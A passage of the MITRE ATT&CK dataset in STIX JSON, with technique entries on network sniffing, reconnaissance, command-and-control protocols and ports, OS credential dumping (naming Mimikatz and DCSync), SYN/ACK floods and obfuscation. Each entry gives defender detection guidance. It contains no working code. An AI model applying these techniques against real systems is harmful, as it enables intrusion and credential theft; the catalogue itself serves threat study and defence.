                    "external_id": "T1040"
                },
                {
                    "external_id": "CAPEC-158",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/158.html"
                }
            ],
            "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.",
            "name": "Network Sniffing",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-02T17:51:59.236Z",
            "created": "2017-05-31T21:30:41.399Z",
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_system_requirements": [
                "Network interface access and packet capture driver"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.004",
                    "url": "https://attack.mitre.org/techniques/T1590/004"
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Topology",
            "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:33:02.476Z",
            "created": "2020-10-02T15:49:03.815Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.003",
                    "url": "https://attack.mitre.org/techniques/T1590/003"
                },
                {
                    "source_name": "Pentesting AD Forests",
                    "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019",
                    "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Trust Dependencies",
            "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:34:22.917Z",
            "created": "2020-10-02T15:47:59.457Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1050",
                    "url": "https://attack.mitre.org/techniques/T1050"
                },
                {
                    "external_id": "CAPEC-550",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "source_name": "TechNet Services"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "source_name": "Microsoft 4697 APR 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "name": "New Service",
            "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-17T16:21:36.413Z",
            "created": "2017-05-31T21:30:45.613Z"
        },
        {
            "created": "2017-05-31T21:31:10.728Z",
            "modified": "2020-10-21T19:41:49.412Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1095",
                    "url": "https://attack.mitre.org/techniques/T1095"
                },
                {
                    "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29",
                    "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
                    "source_name": "Wikipedia OSI"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "url": "http://support.microsoft.com/KB/170292",
                    "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
                    "source_name": "Microsoft ICMP"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)\n Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",
            "name": "Non-Application Layer Protocol",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "x_mitre_version": "2.1",
            "x_mitre_contributors": [
                "Ryan Becwar"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Network"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2020-03-14T23:39:50.117Z",
            "modified": "2020-03-14T23:39:50.117Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
            "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",
            "name": "Non-Standard Encoding",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1132.002",
                    "url": "https://attack.mitre.org/techniques/T1132/002"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Binary-to-text Encoding"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Character_encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Character Encoding"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
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        {
            "created": "2020-03-14T18:18:32.443Z",
            "modified": "2020-03-26T22:02:25.221Z",
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                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.",
            "name": "Non-Standard Port",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1571",
                    "url": "https://attack.mitre.org/techniques/T1571"
                },
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "source_name": "Fortinet Agent Tesla April 2018",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018."
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0"
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        {
            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "OS Credential Dumping",
            "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003",
                    "url": "https://attack.mitre.org/techniques/T1003"
                },
                {
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "source_name": "Microsoft DRSR Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "source_name": "Microsoft GetNCCChanges"
                },
                {
                    "url": "https://wiki.samba.org/index.php/DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "source_name": "Samba DRSUAPI"
                },
                {
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "source_name": "Harmj0y DCSync Sept 2015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "source_name": "Microsoft NRPC Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "source_name": "Microsoft SAMR"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-02-09T14:15:25.186Z",
            "created": "2017-05-31T21:30:19.735Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>, where the <code><pid></code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: Process Access",
                "Command: Command Execution",
                "File: File Access",
                "Windows Registry: Windows Registry Key Access",
                "Active Directory: Active Directory Object Access",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Process: OS API Execution"
            ],
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1499.001",
                    "url": "https://attack.mitre.org/techniques/T1499/001"
                },
                {
                    "external_id": "CAPEC-469",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/469.html"
                },
                {
                    "external_id": "CAPEC-482",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/482.html"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cloudflare SynFlood",
                    "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/",
                    "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Corero SYN-ACKflood",
                    "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html",
                    "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "OS Exhaustion Flood",
            "description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",
            "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-09-16T15:54:35.429Z",
            "created": "2020-02-20T15:27:18.581Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ]
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027",
                    "url": "https://attack.mitre.org/techniques/T1027"
                },
                {
                    "external_id": "CAPEC-267",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/267.html"
                },
                {
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "source_name": "Volexity PowerDuke November 2016"
                },
                {
                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
                    "source_name": "Linux/Cdorked.A We Live Security Analysis"
                },
                {
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "source_name": "Carbon Black Obfuscation Sept 2016"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
                    "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.",
                    "source_name": "FireEye Revoke-Obfuscation July 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
                    "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
                    "source_name": "PaloAlto EncodedCommand March 2017"
                },
                {
                    "url": "https://github.com/danielbohannon/Revoke-Obfuscation",
                    "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.",
                    "source_name": "GitHub Revoke-Obfuscation"
                },
                {
                    "url": "https://github.com/itsreallynick/office-crackros",
                    "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.",
                    "source_name": "GitHub Office-Crackros Aug 2016"
                }
            ],
            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 